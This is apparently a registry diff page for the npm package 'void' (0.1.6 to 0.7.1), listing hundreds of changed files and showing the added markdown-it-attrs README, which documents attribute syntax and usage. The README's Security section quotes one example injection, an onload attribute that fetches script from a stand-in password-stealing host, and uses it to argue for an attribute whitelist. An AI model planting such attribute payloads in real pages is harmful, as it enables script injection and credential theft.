void 0.1.6 → 0.7.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENT_PROMPT.md +15 -0
- package/README.md +62 -123
- package/dist/auth-BdsJ0Aff.d.mts +43 -0
- package/dist/auth-cmd-DVKi6dzh.mjs +43 -0
- package/dist/auth-migrations-BAtAck2g.mjs +117 -0
- package/dist/better-auth-shared-C9_GHSkR.d.mts +71 -0
- package/dist/better-auth-shared-CdYmQGry.mjs +163 -0
- package/dist/cache-B0BgSTZi.mjs +47 -0
- package/dist/cancel-deploy-D9OFt5gA.mjs +59 -0
- package/dist/cf-access-Dee5cXxL.mjs +22 -0
- package/dist/chunk-DJd-R1mw.mjs +34 -0
- package/dist/cli/cli.d.mts +1 -0
- package/dist/cli/cli.mjs +1814 -0
- package/dist/client-BUdfE3QJ.mjs +622 -0
- package/dist/collect-CjeZgz5D.mjs +55 -0
- package/dist/config-BIa9HwVX.mjs +573 -0
- package/dist/config-BzM9Dy7T.mjs +37 -0
- package/dist/config-CvHtTM0q.mjs +30 -0
- package/dist/create-project-CN1pF-OQ.mjs +90 -0
- package/dist/db-BIP2kuEt.mjs +895 -0
- package/dist/defer-DcxEsVH1.mjs +49 -0
- package/dist/delete-DJTvwbr-.mjs +64 -0
- package/dist/deploy-BqXz1ycW.mjs +2723 -0
- package/dist/discover-B7FkXBLB.mjs +40 -0
- package/dist/dist-DUyXJLkq.mjs +2667 -0
- package/dist/dist-Dayj3gCK.mjs +1287 -0
- package/dist/domain-B-fIU3VE.mjs +79 -0
- package/dist/dotenv-DwO4ti0Z.mjs +173 -0
- package/dist/drizzle-NnudE_UN.mjs +232 -0
- package/dist/env-BwbZJd2x.mjs +301 -0
- package/dist/env-helpers-Dr9Y7RnE.d.mts +52 -0
- package/dist/env-raw-BDL4TvdN.mjs +32 -0
- package/dist/env-types-DknSA4SO.mjs +64 -0
- package/dist/env-validation-DJKjR_8q.mjs +163 -0
- package/dist/fetch-error-BQ8sZ5Nd.mjs +266 -0
- package/dist/fetch-error-CVZ5CGA-.d.mts +20 -0
- package/dist/gen-U0Ktr4Zd.mjs +761 -0
- package/dist/handler-B0ds0OHJ.d.mts +269 -0
- package/dist/head-P-egrtFE.d.mts +45 -0
- package/dist/headers-DCXc7mDs.mjs +279 -0
- package/dist/index.d.mts +32 -0
- package/dist/index.mjs +4695 -0
- package/dist/init-Bb_Qsdq6.mjs +2625 -0
- package/dist/link-D4d26PCm.mjs +49 -0
- package/dist/list-bQc1eQCZ.mjs +113 -0
- package/dist/log-DXdqnmhF.mjs +26 -0
- package/dist/login-RWUDCfdx.mjs +72 -0
- package/dist/logs-DrkTklop.mjs +98 -0
- package/dist/magic-string.es-D6g9UnIy.mjs +1011 -0
- package/dist/mcp-kZ4zg13a.mjs +373 -0
- package/dist/node-DDfXj10V.mjs +54 -0
- package/dist/output-BwlcIYSR.mjs +139 -0
- package/dist/pages/client.d.mts +198 -0
- package/dist/pages/client.mjs +980 -0
- package/dist/pages/head-client.d.mts +15 -0
- package/dist/pages/head-client.mjs +90 -0
- package/dist/pages/head.d.mts +2 -0
- package/dist/pages/head.mjs +112 -0
- package/dist/pages/index.d.mts +38 -0
- package/dist/pages/index.mjs +76 -0
- package/dist/pages/islands-plugin.d.mts +50 -0
- package/dist/pages/islands-plugin.mjs +195 -0
- package/dist/pages/prefetch.d.mts +31 -0
- package/dist/pages/prefetch.mjs +90 -0
- package/dist/pages/protocol.d.mts +3 -0
- package/dist/pages/protocol.mjs +193 -0
- package/dist/pages/serialize.d.mts +10 -0
- package/dist/pages/serialize.mjs +14 -0
- package/dist/pathe.M-eThtNZ-D-kmWkCS.mjs +150 -0
- package/dist/plugin-inference-oZ6Ybu2_.mjs +2447 -0
- package/dist/prepare-BAtWufvm.mjs +99 -0
- package/dist/preset-D4I73kT4.mjs +221 -0
- package/dist/project-TqORyHn8.mjs +72 -0
- package/dist/project-cmd-ATFi3kRm.mjs +67 -0
- package/dist/project-slug-CKam8lF9.mjs +11 -0
- package/dist/project-tsconfig-DfkESbDL.mjs +63 -0
- package/dist/protocol-BWzXs2A2.d.mts +34 -0
- package/dist/providers-B3aMxWzP.mjs +67 -0
- package/dist/resolve-project-Br5BR03U.mjs +29 -0
- package/dist/rollback-BSyita3C.mjs +92 -0
- package/dist/route-types-DReF1gUY.mjs +255 -0
- package/dist/routes-stub.d.mts +55 -0
- package/dist/routes-stub.mjs +1 -0
- package/dist/runner-6Ep3fNQu.mjs +123 -0
- package/dist/runner-pg-D0wWHYnr.mjs +57 -0
- package/dist/runtime/ai.d.mts +127 -0
- package/dist/runtime/ai.mjs +348 -0
- package/dist/runtime/auth-client-react.d.mts +8 -0
- package/dist/runtime/auth-client-react.mjs +6 -0
- package/dist/runtime/auth-client-solid.d.mts +8 -0
- package/dist/runtime/auth-client-solid.mjs +6 -0
- package/dist/runtime/auth-client-svelte.d.mts +8 -0
- package/dist/runtime/auth-client-svelte.mjs +6 -0
- package/dist/runtime/auth-client-vue.d.mts +8 -0
- package/dist/runtime/auth-client-vue.mjs +6 -0
- package/dist/runtime/auth-client.d.mts +8 -0
- package/dist/runtime/auth-client.mjs +6 -0
- package/dist/runtime/auth.d.mts +2 -0
- package/dist/runtime/auth.mjs +22 -0
- package/dist/runtime/better-auth-pg.d.mts +11 -0
- package/dist/runtime/better-auth-pg.mjs +51 -0
- package/dist/runtime/better-auth.d.mts +11 -0
- package/dist/runtime/better-auth.mjs +33 -0
- package/dist/runtime/client.d.mts +6 -0
- package/dist/runtime/client.mjs +5 -0
- package/dist/runtime/db-pg.d.mts +2 -0
- package/dist/runtime/db-pg.mjs +1 -0
- package/dist/runtime/db.d.mts +17 -0
- package/dist/runtime/db.mjs +30 -0
- package/dist/runtime/drizzle-arktype.d.mts +1 -0
- package/dist/runtime/drizzle-arktype.mjs +2 -0
- package/dist/runtime/drizzle-valibot.d.mts +1 -0
- package/dist/runtime/drizzle-valibot.mjs +2 -0
- package/dist/runtime/drizzle-zod.d.mts +1 -0
- package/dist/runtime/drizzle-zod.mjs +2 -0
- package/dist/runtime/env-helpers.d.mts +2 -0
- package/dist/runtime/env-helpers.mjs +173 -0
- package/dist/runtime/env-public-client.d.mts +22 -0
- package/dist/runtime/env-public-client.mjs +54 -0
- package/dist/runtime/env-public.d.mts +143 -0
- package/dist/runtime/env-public.mjs +366 -0
- package/dist/runtime/env.d.mts +13 -0
- package/dist/runtime/env.mjs +51 -0
- package/dist/runtime/fetch-stream.d.mts +51 -0
- package/dist/runtime/fetch-stream.mjs +81 -0
- package/dist/runtime/fetch.d.mts +59 -0
- package/dist/runtime/fetch.mjs +18 -0
- package/dist/runtime/handler.d.mts +3 -0
- package/dist/runtime/handler.mjs +85 -0
- package/dist/runtime/isr.d.mts +26 -0
- package/dist/runtime/isr.mjs +43 -0
- package/dist/runtime/kv.d.mts +48 -0
- package/dist/runtime/kv.mjs +106 -0
- package/dist/runtime/log.d.mts +24 -0
- package/dist/runtime/log.mjs +31 -0
- package/dist/runtime/migration-handler-pg.d.mts +6 -0
- package/dist/runtime/migration-handler-pg.mjs +85 -0
- package/dist/runtime/migration-handler.d.mts +19 -0
- package/dist/runtime/migration-handler.mjs +92 -0
- package/dist/runtime/queues.d.mts +7 -0
- package/dist/runtime/queues.mjs +8 -0
- package/dist/runtime/remote/binding-handler.d.mts +15 -0
- package/dist/runtime/remote/binding-handler.mjs +208 -0
- package/dist/runtime/remote/index.d.mts +8 -0
- package/dist/runtime/remote/index.mjs +461 -0
- package/dist/runtime/response.d.mts +14 -0
- package/dist/runtime/response.mjs +30 -0
- package/dist/runtime/sandbox.d.mts +17 -0
- package/dist/runtime/sandbox.mjs +19 -0
- package/dist/runtime/schema-d1.d.mts +1 -0
- package/dist/runtime/schema-d1.mjs +2 -0
- package/dist/runtime/schema-pg.d.mts +1 -0
- package/dist/runtime/schema-pg.mjs +2 -0
- package/dist/runtime/seed.d.mts +30 -0
- package/dist/runtime/seed.mjs +6 -0
- package/dist/runtime/storage.d.mts +7 -0
- package/dist/runtime/storage.mjs +14 -0
- package/dist/runtime/validator.d.mts +2 -0
- package/dist/runtime/validator.mjs +72 -0
- package/dist/runtime/ws-server.d.mts +26 -0
- package/dist/runtime/ws-server.mjs +296 -0
- package/dist/runtime/ws.d.mts +123 -0
- package/dist/runtime/ws.mjs +103 -0
- package/dist/scan-Ba4hFwlH.mjs +324 -0
- package/dist/scan-C6HMEIdW.mjs +318 -0
- package/dist/secret-DmjBDxB1.mjs +109 -0
- package/dist/skills-ipldjlKE.mjs +62 -0
- package/dist/standard-schema-9CRjx-uR.d.mts +42 -0
- package/dist/subcommand-prompt-BKjuNAPb.mjs +349 -0
- package/dist/sveltekit.d.mts +20 -0
- package/dist/sveltekit.mjs +61 -0
- package/dist/types-mHOEwpW4.d.mts +57 -0
- package/dist/validate-CaMavMxu.mjs +146 -0
- package/dist/yarn-pnp-BFqMV_bl.mjs +196 -0
- package/getting-started-prompt.txt +26 -0
- package/package.json +322 -30
- package/schema.json +364 -0
- package/skills/migrate-vite-cloudflare-to-void/SKILL.md +175 -0
- package/skills/void/SKILL.md +75 -0
- package/skills/void/command/void.md +7 -0
- package/skills/void/docs/guide/ai.md +235 -0
- package/skills/void/docs/guide/app-types.md +103 -0
- package/skills/void/docs/guide/auth.md +257 -0
- package/skills/void/docs/guide/database/d1.md +106 -0
- package/skills/void/docs/guide/database/postgresql.md +106 -0
- package/skills/void/docs/guide/database.md +418 -0
- package/skills/void/docs/guide/deployment.md +98 -0
- package/skills/void/docs/guide/edge/headers.md +79 -0
- package/skills/void/docs/guide/edge/prerendering.md +83 -0
- package/skills/void/docs/guide/edge/redirects.md +116 -0
- package/skills/void/docs/guide/edge/revalidation.md +131 -0
- package/skills/void/docs/guide/edge/rewrites.md +354 -0
- package/skills/void/docs/guide/edge/static-assets.md +72 -0
- package/skills/void/docs/guide/env-vars.md +298 -0
- package/skills/void/docs/guide/index.md +80 -0
- package/skills/void/docs/guide/jobs.md +91 -0
- package/skills/void/docs/guide/kv.md +107 -0
- package/skills/void/docs/guide/pages-routing/actions-and-forms.md +419 -0
- package/skills/void/docs/guide/pages-routing/head.md +130 -0
- package/skills/void/docs/guide/pages-routing/islands.md +405 -0
- package/skills/void/docs/guide/pages-routing/layouts.md +362 -0
- package/skills/void/docs/guide/pages-routing/loaders.md +267 -0
- package/skills/void/docs/guide/pages-routing/markdown.md +625 -0
- package/skills/void/docs/guide/pages-routing/overview.md +236 -0
- package/skills/void/docs/guide/pages-routing/view-transitions.md +140 -0
- package/skills/void/docs/guide/queues.md +140 -0
- package/skills/void/docs/guide/quickstart.md +233 -0
- package/skills/void/docs/guide/remote-dev.md +67 -0
- package/skills/void/docs/guide/sandboxes.md +82 -0
- package/skills/void/docs/guide/server-routing.md +246 -0
- package/skills/void/docs/guide/ssg.md +74 -0
- package/skills/void/docs/guide/ssr.md +105 -0
- package/skills/void/docs/guide/storage.md +67 -0
- package/skills/void/docs/guide/type-safety.md +179 -0
- package/skills/void/docs/guide/typed-fetch.md +113 -0
- package/skills/void/docs/guide/websockets.md +190 -0
- package/skills/void/docs/index.md +48 -0
- package/skills/void/docs/integrations/agents.md +84 -0
- package/skills/void/docs/integrations/cloudflare.md +284 -0
- package/skills/void/docs/integrations/frameworks/analog.md +182 -0
- package/skills/void/docs/integrations/frameworks/astro.md +197 -0
- package/skills/void/docs/integrations/frameworks/nuxt.md +164 -0
- package/skills/void/docs/integrations/frameworks/overview.md +136 -0
- package/skills/void/docs/integrations/frameworks/react-router.md +137 -0
- package/skills/void/docs/integrations/frameworks/sveltekit.md +191 -0
- package/skills/void/docs/integrations/frameworks/tanstack-start.md +140 -0
- package/skills/void/docs/integrations/hono.md +97 -0
- package/skills/void/docs/integrations/nodejs-bun-deno.md +210 -0
- package/skills/void/docs/node_modules/@iconify/vue/README.md +408 -0
- package/skills/void/docs/node_modules/@iconify/vue/offline/readme.md +5 -0
- package/skills/void/docs/node_modules/@voidzero-dev/vitepress-theme/README.md +103 -0
- package/skills/void/docs/node_modules/oxc-minify/README.md +78 -0
- package/skills/void/docs/node_modules/reka-ui/README.md +80 -0
- package/skills/void/docs/node_modules/vitepress/README.md +28 -0
- package/skills/void/docs/node_modules/vitepress/template/api-examples.md +49 -0
- package/skills/void/docs/node_modules/vitepress/template/index.md +28 -0
- package/skills/void/docs/node_modules/vitepress/template/markdown-examples.md +85 -0
- package/skills/void/docs/node_modules/vitepress-plugin-group-icons/README.md +101 -0
- package/skills/void/docs/node_modules/void/AGENTS.md +204 -0
- package/skills/void/docs/node_modules/void/AGENT_PROMPT.md +15 -0
- package/skills/void/docs/node_modules/void/README.md +89 -0
- package/skills/void/docs/node_modules/void/node_modules/@clack/prompts/CHANGELOG.md +591 -0
- package/skills/void/docs/node_modules/void/node_modules/@clack/prompts/README.md +375 -0
- package/skills/void/docs/node_modules/void/node_modules/@cloudflare/sandbox/README.md +174 -0
- package/skills/void/docs/node_modules/void/node_modules/@cloudflare/vite-plugin/README.md +37 -0
- package/skills/void/docs/node_modules/void/node_modules/@cloudflare/workers-types/README.md +135 -0
- package/skills/void/docs/node_modules/void/node_modules/@electric-sql/pglite/README.md +189 -0
- package/skills/void/docs/node_modules/void/node_modules/@hono/oauth-providers/CHANGELOG.md +143 -0
- package/skills/void/docs/node_modules/void/node_modules/@hono/oauth-providers/README.md +1272 -0
- package/skills/void/docs/node_modules/void/node_modules/@napi-rs/keyring/README.md +19 -0
- package/skills/void/docs/node_modules/void/node_modules/@types/better-sqlite3/README.md +15 -0
- package/skills/void/docs/node_modules/void/node_modules/@types/node/README.md +15 -0
- package/skills/void/docs/node_modules/void/node_modules/@types/pg/README.md +15 -0
- package/skills/void/docs/node_modules/void/node_modules/@typescript/native-preview/README.md +22 -0
- package/skills/void/docs/node_modules/void/node_modules/@typescript/native-preview/vendor/vscode-jsonrpc/README.md +69 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/README.md +152 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/@shikijs/engine-javascript/README.md +9 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/@shikijs/transformers/README.md +9 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/@types/node/README.md +15 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/gray-matter/CHANGELOG.md +24 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/gray-matter/README.md +565 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-exit/README.md +124 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-anchor/README.md +600 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-attrs/README.md +386 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-container/README.md +95 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-emoji/README.md +101 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/pathe/README.md +73 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/shiki/README.md +15 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/tinyglobby/README.md +25 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/tsdown/README.md +55 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/vite/LICENSE.md +2230 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/vite/README.md +20 -0
- package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/vue/README.md +58 -0
- package/skills/void/docs/node_modules/void/node_modules/arktype/README.md +165 -0
- package/skills/void/docs/node_modules/void/node_modules/better-auth/LICENSE.md +20 -0
- package/skills/void/docs/node_modules/void/node_modules/better-auth/README.md +32 -0
- package/skills/void/docs/node_modules/void/node_modules/better-sqlite3/README.md +99 -0
- package/skills/void/docs/node_modules/void/node_modules/blake3-jit/README.md +108 -0
- package/skills/void/docs/node_modules/void/node_modules/drizzle-arktype/README.md +51 -0
- package/skills/void/docs/node_modules/void/node_modules/drizzle-kit/README.md +79 -0
- package/skills/void/docs/node_modules/void/node_modules/drizzle-orm/README.md +44 -0
- package/skills/void/docs/node_modules/void/node_modules/drizzle-valibot/README.md +51 -0
- package/skills/void/docs/node_modules/void/node_modules/drizzle-zod/README.md +65 -0
- package/skills/void/docs/node_modules/void/node_modules/es-module-lexer/README.md +390 -0
- package/skills/void/docs/node_modules/void/node_modules/estree-walker/README.md +48 -0
- package/skills/void/docs/node_modules/void/node_modules/hono/README.md +85 -0
- package/skills/void/docs/node_modules/void/node_modules/ignore/README.md +452 -0
- package/skills/void/docs/node_modules/void/node_modules/jsonc-parser/CHANGELOG.md +76 -0
- package/{LICENSE → skills/void/docs/node_modules/void/node_modules/jsonc-parser/LICENSE.md} +21 -21
- package/skills/void/docs/node_modules/void/node_modules/jsonc-parser/README.md +364 -0
- package/skills/void/docs/node_modules/void/node_modules/jsonc-parser/SECURITY.md +41 -0
- package/skills/void/docs/node_modules/void/node_modules/magic-string/README.md +325 -0
- package/skills/void/docs/node_modules/void/node_modules/ofetch/README.md +398 -0
- package/skills/void/docs/node_modules/void/node_modules/pathe/README.md +73 -0
- package/skills/void/docs/node_modules/void/node_modules/pg/README.md +95 -0
- package/skills/void/docs/node_modules/void/node_modules/pglite-server/LICENSE.md +21 -0
- package/skills/void/docs/node_modules/void/node_modules/pglite-server/README.md +135 -0
- package/skills/void/docs/node_modules/void/node_modules/picocolors/README.md +21 -0
- package/skills/void/docs/node_modules/void/node_modules/tinyglobby/README.md +25 -0
- package/skills/void/docs/node_modules/void/node_modules/tsdown/README.md +55 -0
- package/skills/void/docs/node_modules/void/node_modules/valibot/LICENSE.md +9 -0
- package/skills/void/docs/node_modules/void/node_modules/valibot/README.md +94 -0
- package/skills/void/docs/node_modules/void/node_modules/vite/LICENSE.md +2230 -0
- package/skills/void/docs/node_modules/void/node_modules/vite/README.md +20 -0
- package/skills/void/docs/node_modules/void/node_modules/wrangler/README.md +63 -0
- package/skills/void/docs/node_modules/void/node_modules/zod/README.md +191 -0
- package/skills/void/docs/node_modules/void/skills/migrate-vite-cloudflare-to-void/SKILL.md +175 -0
- package/skills/void/docs/node_modules/void/skills/void/SKILL.md +75 -0
- package/skills/void/docs/node_modules/void/skills/void/command/void.md +7 -0
- package/skills/void/docs/reference/api.md +917 -0
- package/skills/void/docs/reference/cli.md +564 -0
- package/skills/void/docs/reference/config.md +408 -0
- package/skills/void/docs/reference/resource-inference.md +149 -0
- package/skills/void/docs/reference/structure.md +176 -0
- package/.npmignore +0 -29
- package/.travis.yml +0 -9
- package/favicon.ico +0 -0
- package/index.js +0 -14
- package/lib/Job.js +0 -150
- package/lib/Void.js +0 -99
- package/lib/scan.js +0 -19
- package/test/credentials.js +0 -20
- package/test/job.js +0 -64
- package/test/static/dir1/test6.html +0 -0
- package/test/static/dir2/test7.html +0 -0
- package/test/static/dir2/test8.html +0 -0
- package/test/static/dir2/test9.html +0 -0
- package/test/static/test1.html +0 -0
- package/test/static/test2.html +0 -0
- package/test/static/test3.html +0 -0
- package/test/void.js +0 -31
- /package/{test/static/dir1/test4.html → skills/void/docs/integrations/auth-providers.md} +0 -0
- /package/{test/static/dir1/test5.html → skills/void/docs/integrations/payment-processors.md} +0 -0
|
@@ -0,0 +1,386 @@
|
|
|
1
|
+
# markdown-it-attrs [](https://github.com/arve0/markdown-it-attrs/actions) [](http://badge.fury.io/js/markdown-it-attrs) [](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master) <!-- omit in toc -->
|
|
2
|
+
|
|
3
|
+
Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes).
|
|
4
|
+
|
|
5
|
+
# Table of contents <!-- omit in toc -->
|
|
6
|
+
- [Examples](#examples)
|
|
7
|
+
- [Install](#install)
|
|
8
|
+
- [Support](#support)
|
|
9
|
+
- [Usage](#usage)
|
|
10
|
+
- [Security](#security)
|
|
11
|
+
- [Limitations](#limitations)
|
|
12
|
+
- [Ambiguity](#ambiguity)
|
|
13
|
+
- [Custom rendering](#custom-rendering)
|
|
14
|
+
- [Custom blocks](#custom-blocks)
|
|
15
|
+
- [Custom delimiters](#custom-delimiters)
|
|
16
|
+
- [Development](#development)
|
|
17
|
+
- [License](#license)
|
|
18
|
+
## Examples
|
|
19
|
+
Example input:
|
|
20
|
+
```md
|
|
21
|
+
# header {.style-me}
|
|
22
|
+
paragraph {data-toggle=modal}
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
Output:
|
|
26
|
+
```html
|
|
27
|
+
<h1 class="style-me">header</h1>
|
|
28
|
+
<p data-toggle="modal">paragraph</p>
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
Works with inline elements too:
|
|
32
|
+
```md
|
|
33
|
+
paragraph *style me*{.red} more text
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
Output:
|
|
37
|
+
```html
|
|
38
|
+
<p>paragraph <em class="red">style me</em> more text</p>
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
And fenced code blocks:
|
|
42
|
+
<pre><code>
|
|
43
|
+
```python {data=asdf}
|
|
44
|
+
nums = [x for x in range(10)]
|
|
45
|
+
```
|
|
46
|
+
</code></pre>
|
|
47
|
+
|
|
48
|
+
Output:
|
|
49
|
+
```html
|
|
50
|
+
<pre><code data="asdf" class="language-python">
|
|
51
|
+
nums = [x for x in range(10)]
|
|
52
|
+
</code></pre>
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
You can use `..` as a short-hand for `css-module=`:
|
|
56
|
+
|
|
57
|
+
```md
|
|
58
|
+
Use the css-module green on this paragraph. {..green}
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
Output:
|
|
62
|
+
```html
|
|
63
|
+
<p css-module="green">Use the css-module green on this paragraph.</p>
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then):
|
|
67
|
+
|
|
68
|
+
```md
|
|
69
|
+
paragraph with [a style me span]{.red}
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
Output:
|
|
73
|
+
```html
|
|
74
|
+
<p>paragraph with <span class="red">a style me span</span></p>
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
## Install
|
|
78
|
+
|
|
79
|
+
```
|
|
80
|
+
$ npm install --save markdown-it-attrs
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
## Support
|
|
84
|
+
Library is considered done from my part. I'm maintaining it with bug fixes and
|
|
85
|
+
security updates.
|
|
86
|
+
|
|
87
|
+
I'll approve pull requests that are easy to understand. Generally not willing
|
|
88
|
+
merge pull requests that increase maintainance complexity. Feel free to open
|
|
89
|
+
anyhow and I'll give my feedback.
|
|
90
|
+
|
|
91
|
+
If you need some extra features, I'm available for hire.
|
|
92
|
+
|
|
93
|
+
## Usage
|
|
94
|
+
|
|
95
|
+
```js
|
|
96
|
+
var md = require('markdown-it')();
|
|
97
|
+
var markdownItAttrs = require('markdown-it-attrs');
|
|
98
|
+
|
|
99
|
+
md.use(markdownItAttrs, {
|
|
100
|
+
// optional, these are default options
|
|
101
|
+
leftDelimiter: '{',
|
|
102
|
+
rightDelimiter: '}',
|
|
103
|
+
allowedAttributes: [] // empty array = all attributes are allowed
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
|
|
107
|
+
var res = md.render(src);
|
|
108
|
+
|
|
109
|
+
console.log(res);
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
[demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
## Security
|
|
116
|
+
A user may insert rogue attributes like this:
|
|
117
|
+
```js
|
|
118
|
+
{onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
If security is a concern, use an attribute whitelist:
|
|
122
|
+
|
|
123
|
+
```js
|
|
124
|
+
md.use(markdownItAttrs, {
|
|
125
|
+
allowedAttributes: ['id', 'class', /^regex.*$/]
|
|
126
|
+
});
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
Now only `id`, `class` and attributes beginning with `regex` are allowed:
|
|
130
|
+
|
|
131
|
+
```md
|
|
132
|
+
text {#red .green regex=allowed onclick=alert('hello')}
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
Output:
|
|
136
|
+
```html
|
|
137
|
+
<p id="red" class="green" regex="allowed">text</p>
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
## Limitations
|
|
141
|
+
markdown-it-attrs relies on markdown parsing in markdown-it, which means some
|
|
142
|
+
special cases are not possible to fix. Like using `_` outside and inside
|
|
143
|
+
attributes:
|
|
144
|
+
|
|
145
|
+
```md
|
|
146
|
+
_i want [all of this](/link){target="_blank"} to be italics_
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
Above example will render to:
|
|
150
|
+
```html
|
|
151
|
+
<p>_i want <a href="/link">all of this</a>{target="<em>blank"} to be italics</em></p>
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
...which is probably not what you wanted. Of course, you could use `*` for
|
|
155
|
+
italics to solve this parsing issue:
|
|
156
|
+
|
|
157
|
+
```md
|
|
158
|
+
*i want [all of this](/link){target="_blank"} to be italics*
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
Output:
|
|
162
|
+
```html
|
|
163
|
+
<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
## Ambiguity
|
|
167
|
+
When class can be applied to both inline or block element, inline element will take precedence:
|
|
168
|
+
```md
|
|
169
|
+
- list item **bold**{.red}
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
Output:
|
|
173
|
+
```html
|
|
174
|
+
<ul>
|
|
175
|
+
<li>list item <strong class="red">bold</strong></li>
|
|
176
|
+
<ul>
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
If you need the class to apply to the list item instead, use a space:
|
|
180
|
+
```md
|
|
181
|
+
- list item **bold** {.red}
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
Output:
|
|
185
|
+
```html
|
|
186
|
+
<ul>
|
|
187
|
+
<li class="red">list item <strong>bold</strong></li>
|
|
188
|
+
</ul>
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
If you need the class to apply to the `<ul>` element, use a new line:
|
|
192
|
+
```md
|
|
193
|
+
- list item **bold**
|
|
194
|
+
{.red}
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
Output:
|
|
198
|
+
```html
|
|
199
|
+
<ul class="red">
|
|
200
|
+
<li>list item <strong>bold</strong></li>
|
|
201
|
+
</ul>
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
If you have nested lists, curlys after new lines will apply to the nearest `<ul>` or `<ol>`. You may force it to apply to the outer `<ul>` by adding curly below on a paragraph by its own:
|
|
205
|
+
```md
|
|
206
|
+
- item
|
|
207
|
+
- nested item {.a}
|
|
208
|
+
{.b}
|
|
209
|
+
|
|
210
|
+
{.c}
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
Output:
|
|
214
|
+
```html
|
|
215
|
+
<ul class="c">
|
|
216
|
+
<li>item
|
|
217
|
+
<ul class="b">
|
|
218
|
+
<li class="a">nested item</li>
|
|
219
|
+
</ul>
|
|
220
|
+
</li>
|
|
221
|
+
</ul>
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
|
|
225
|
+
|
|
226
|
+
Similar for tables, attributes must be _two_ new lines below:
|
|
227
|
+
```md
|
|
228
|
+
header1 | header2
|
|
229
|
+
------- | -------
|
|
230
|
+
column1 | column2
|
|
231
|
+
|
|
232
|
+
{.special}
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
Output:
|
|
236
|
+
```html
|
|
237
|
+
<table class="special">
|
|
238
|
+
<thead>
|
|
239
|
+
<tr>
|
|
240
|
+
<th>header1</th>
|
|
241
|
+
<th>header2</th>
|
|
242
|
+
</tr>
|
|
243
|
+
</thead>
|
|
244
|
+
<tbody>
|
|
245
|
+
<tr>
|
|
246
|
+
<td>column1</td>
|
|
247
|
+
<td>column2</td>
|
|
248
|
+
</tr>
|
|
249
|
+
</tbody>
|
|
250
|
+
</table>
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
Wellformed the table's _rowspan_ and/or _colspan_ attributes, usage sample below:
|
|
254
|
+
```md
|
|
255
|
+
| A | B | C | D |
|
|
256
|
+
| ----------------------- | --- | --- | ---------------- |
|
|
257
|
+
| 1 | 11 | 111 | 1111 {rowspan=3} |
|
|
258
|
+
| 2 {colspan=2 rowspan=2} | 22 | 222 | 2222 |
|
|
259
|
+
| 3 | 33 | 333 | 3333 |
|
|
260
|
+
|
|
261
|
+
{border=1}
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
Output:
|
|
265
|
+
```html
|
|
266
|
+
<table border="1">
|
|
267
|
+
<thead>
|
|
268
|
+
<tr>
|
|
269
|
+
<th>A</th>
|
|
270
|
+
<th>B</th>
|
|
271
|
+
<th>C</th>
|
|
272
|
+
<th>D</th>
